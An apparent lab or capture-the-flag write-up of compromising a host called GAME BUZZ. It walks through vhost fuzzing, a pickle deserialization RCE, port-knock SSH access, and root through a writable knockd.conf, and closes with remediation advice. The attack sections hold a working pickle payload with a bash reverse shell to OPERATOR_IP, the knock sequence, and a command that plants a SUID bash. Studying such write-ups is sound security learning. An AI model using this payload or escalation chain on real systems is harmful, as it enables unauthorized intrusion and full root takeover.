Pickle deserialization RCE, port knock SSH, and knockd root
Intermediate web engagement: insecure pickle unpickle on a game-rating endpoint yielded www-data; mail and knockd opened SSH as dev1; writable knockd.conf plus sudo restart planted a SUID bash as root.
- Case files
- Pickle deserialization RCE, port knock SSH, and knockd root
A vhost upload UI accepted a malicious pickle. The main site’s rating handler unpickled it for RCE. Port knock opened SSH; rewriting knockd’s openSSH command under sudo completed root.
ffuf found the dev vhost. A crafted pickle uploaded under /secret/upload/ was triggered via the rating API path.
dev1’s mailbox held the SSH password. knockd sequence opened port 22 for authentication.
sudo restart of knockd plus ACL write on the config replaced openSSH with a SUID plant; re-knock executed as root.
Engagement summary
A vhost upload UI accepted a malicious pickle. The main site’s rating handler unpickled it for RCE. Port knock opened SSH; rewriting knockd’s openSSH command under sudo completed root.
Against GAME BUZZ (10.10.41.81 / incognito.com), only HTTP was visible; SSH was filtered behind knockd. Vhost fuzzing found dev.incognito.com with /secret/upload/. We uploaded a pickle whose __reduce__ spawned a reverse shell, then pointed the public game-rating JSON object path at that file — insecure deserialization executed as www-data. /var/mail/dev1 held a password hash string used as the SSH password; /etc/knockd.conf documented sequence 5020,6120,7340. After knocking and authenticating as dev1, ACL write on knockd.conf plus sudo restart of knockd let us replace the openSSH command with a SUID bash plant; re-knocking executed it as root.
Business impact
Unpickling attacker-controlled objects is remote code execution. Port knocking is not authentication — once sequences leak, SSH is exposed. Letting a low-privilege user rewrite knockd commands that run as root turns a firewall helper into a root backdoor. Ban pickle for untrusted data; protect knock sequences; remove write ACLs and sudo over knockd from developer accounts.
Vhost discovery and pickle RCE
ffuf found the dev vhost. A crafted pickle uploaded under /secret/upload/ was triggered via the rating API path.
OPERATOR · VHOST
savvy@lab:~$ nmap -sV 10.10.41.81
80/tcp open http Apache httpd 2.4.29 (Ubuntu)
savvy@lab:~$ ffuf -u http://incognito.com/ -H "Host: FUZZ.incognito.com" -w subdomains-top1million-5000.txt -fw 8853
dev
savvy@lab:~$ dirsearch -u http://dev.incognito.com/secret
/secret/upload/ (Status: 200)
PAYLOAD
shell.pkl.py
#!/usr/bin/env python3
import pickle, os
class Payload(object):
def __reduce__(self):
return (os.system, ("bash -c 'bash -i >& /dev/tcp/OPERATOR_IP/1234 0>&1'",))
pickle.dump(Payload(), open("shell", "wb"))OPERATOR · TRIGGER
savvy@lab:~$ python3 shell.pkl.py
# upload shell via /secret/upload/; rating body points object path at uploaded pickle
savvy@lab:~$ nc -lnvp 1234
savvy@lab:/var/www$
Mail password and port-knock SSH
dev1’s mailbox held the SSH password. knockd sequence opened port 22 for authentication.
OPERATOR · KNOCK
savvy@lab:~$ cat /var/mail/dev1
password has been changed: dc647eb65e6711e155375218212b3964
savvy@lab:~$ cat /etc/knockd.conf
sequence = 5020,6120,7340 # openSSH → iptables ACCEPT :22
savvy@lab:~$ knock -v 10.10.41.81 5020 6120 7340
savvy@lab:~$ ssh dev1@10.10.41.81
savvy@lab:~$
Writable knockd.conf to SUID bash
sudo restart of knockd plus ACL write on the config replaced openSSH with a SUID plant; re-knock executed as root.
OPERATOR · ROOT
savvy@lab:~$ sudo -l
(root) NOPASSWD: /etc/init.d/knockd restart
# ACL allows edit of /etc/knockd.conf openSSH command
savvy@lab:~$ # set command = /bin/bash -c 'cp /bin/bash /tmp/root_bash; chmod +s /tmp/root_bash'
savvy@lab:~$ sudo /etc/init.d/knockd restart
savvy@lab:~$ knock -v 10.10.41.81 5020 6120 7340
savvy@lab:~$ /tmp/root_bash -p
root@lab:~# id
uid=0(root) gid=0(root) groups=0(root)
Remediation
Never unpickle untrusted blobs — use signed JSON or a safe serializer. Treat knock sequences as secrets and rotate them. Do not grant developers write ACLs on knockd.conf or sudo over the service.